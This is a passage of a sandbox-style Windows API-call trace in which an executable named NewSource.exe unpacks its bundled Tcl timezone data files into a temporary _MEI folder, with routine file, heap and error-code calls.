[0039.188] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.188] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.188] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.188] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.193] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.193] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.194] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.194] CloseHandle (hObject=0x10c) returned 1 [0039.194] GetLastError () returned 0x0 [0039.194] SetLastError (dwErrCode=0x0) [0039.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Martinique") returned 75 [0039.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Martinique" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\martinique"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.194] GetLastError () returned 0x2 [0039.194] SetLastError (dwErrCode=0x2) [0039.194] GetLastError () returned 0x2 [0039.194] SetLastError (dwErrCode=0x2) [0039.194] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Martinique", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Martinique", lpFilePart=0x0) returned 0x4a [0039.194] GetLastError () returned 0x2 [0039.194] SetLastError (dwErrCode=0x2) [0039.194] GetLastError () returned 0x2 [0039.194] SetLastError (dwErrCode=0x2) [0039.194] GetLastError () returned 0x2 [0039.194] SetLastError (dwErrCode=0x2) [0039.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Martinique") returned 75 [0039.194] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Martinique" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\martinique"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.195] GetFileType (hFile=0x10c) returned 0x1 [0039.195] htonl (hostlong=0xf2000000) returned 0xf2 [0039.195] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.195] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf2, lpOverlapped=0x0) returned 1 [0039.196] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.196] CloseHandle (hObject=0x10c) returned 1 [0039.196] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.196] htonl (hostlong=0x30000000) returned 0x30 [0039.196] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.196] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.196] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.196] GetFileType (hFile=0x10c) returned 0x1 [0039.196] htonl (hostlong=0x268c5900) returned 0x598c26 [0039.197] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e3c26, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.197] htonl (hostlong=0x18050000) returned 0x518 [0039.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x518) returned 0x550600 [0039.197] htonl (hostlong=0x18050000) returned 0x518 [0039.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.197] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.197] htonl (hostlong=0x7e190000) returned 0x197e [0039.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x197e) returned 0x561090 [0039.197] htonl (hostlong=0x18050000) returned 0x518 [0039.197] htonl (hostlong=0x7e190000) returned 0x197e [0039.197] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a18 [0039.197] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a18 | out: hHeap=0x530000) returned 1 [0039.197] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.197] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.197] CloseHandle (hObject=0x10c) returned 1 [0039.197] GetLastError () returned 0x0 [0039.197] SetLastError (dwErrCode=0x0) [0039.197] GetLastError () returned 0x0 [0039.197] SetLastError (dwErrCode=0x0) [0039.197] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.197] GetFileType (hFile=0x10c) returned 0x1 [0039.197] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.198] CloseHandle (hObject=0x10c) returned 1 [0039.198] GetLastError () returned 0x0 [0039.198] SetLastError (dwErrCode=0x0) [0039.198] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.198] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.198] GetFileType (hFile=0x10c) returned 0x1 [0039.198] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.198] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.198] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.198] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.198] CloseHandle (hObject=0x10c) returned 1 [0039.199] GetLastError () returned 0x0 [0039.199] SetLastError (dwErrCode=0x0) [0039.199] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.199] GetFileType (hFile=0x10c) returned 0x1 [0039.199] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.199] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.199] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.199] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.199] CloseHandle (hObject=0x10c) returned 1 [0039.199] GetLastError () returned 0x0 [0039.199] SetLastError (dwErrCode=0x0) [0039.199] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Matamoros") returned 74 [0039.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Matamoros" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\matamoros"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.199] GetLastError () returned 0x2 [0039.199] SetLastError (dwErrCode=0x2) [0039.199] GetLastError () returned 0x2 [0039.199] SetLastError (dwErrCode=0x2) [0039.199] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Matamoros", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Matamoros", lpFilePart=0x0) returned 0x49 [0039.199] GetLastError () returned 0x2 [0039.200] SetLastError (dwErrCode=0x2) [0039.200] GetLastError () returned 0x2 [0039.200] SetLastError (dwErrCode=0x2) [0039.200] GetLastError () returned 0x2 [0039.200] SetLastError (dwErrCode=0x2) [0039.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Matamoros") returned 74 [0039.200] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Matamoros" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\matamoros"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.200] GetFileType (hFile=0x10c) returned 0x1 [0039.200] htonl (hostlong=0x7e190000) returned 0x197e [0039.200] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.201] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.201] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x97e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x97e, lpOverlapped=0x0) returned 1 [0039.201] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.201] CloseHandle (hObject=0x10c) returned 1 [0039.202] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.202] htonl (hostlong=0x30000000) returned 0x30 [0039.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.202] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.202] GetFileType (hFile=0x10c) returned 0x1 [0039.202] htonl (hostlong=0x3e915900) returned 0x59913e [0039.202] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e413e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.202] htonl (hostlong=0x2e050000) returned 0x52e [0039.202] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x52e) returned 0x550600 [0039.202] htonl (hostlong=0x2e050000) returned 0x52e [0039.202] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.202] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.202] htonl (hostlong=0xdb190000) returned 0x19db [0039.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19db) returned 0x561090 [0039.203] htonl (hostlong=0x2e050000) returned 0x52e [0039.203] htonl (hostlong=0xdb190000) returned 0x19db [0039.203] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a78 [0039.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a78 | out: hHeap=0x530000) returned 1 [0039.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.203] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.203] CloseHandle (hObject=0x10c) returned 1 [0039.203] GetLastError () returned 0x0 [0039.203] SetLastError (dwErrCode=0x0) [0039.203] GetLastError () returned 0x0 [0039.203] SetLastError (dwErrCode=0x0) [0039.203] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.203] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.203] GetFileType (hFile=0x10c) returned 0x1 [0039.203] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.203] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.203] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.203] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.203] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.203] CloseHandle (hObject=0x10c) returned 1 [0039.204] GetLastError () returned 0x0 [0039.204] SetLastError (dwErrCode=0x0) [0039.204] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.204] GetFileType (hFile=0x10c) returned 0x1 [0039.204] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.204] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.204] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.204] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.204] CloseHandle (hObject=0x10c) returned 1 [0039.204] GetLastError () returned 0x0 [0039.204] SetLastError (dwErrCode=0x0) [0039.205] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.205] GetFileType (hFile=0x10c) returned 0x1 [0039.205] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.205] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.205] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.205] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: 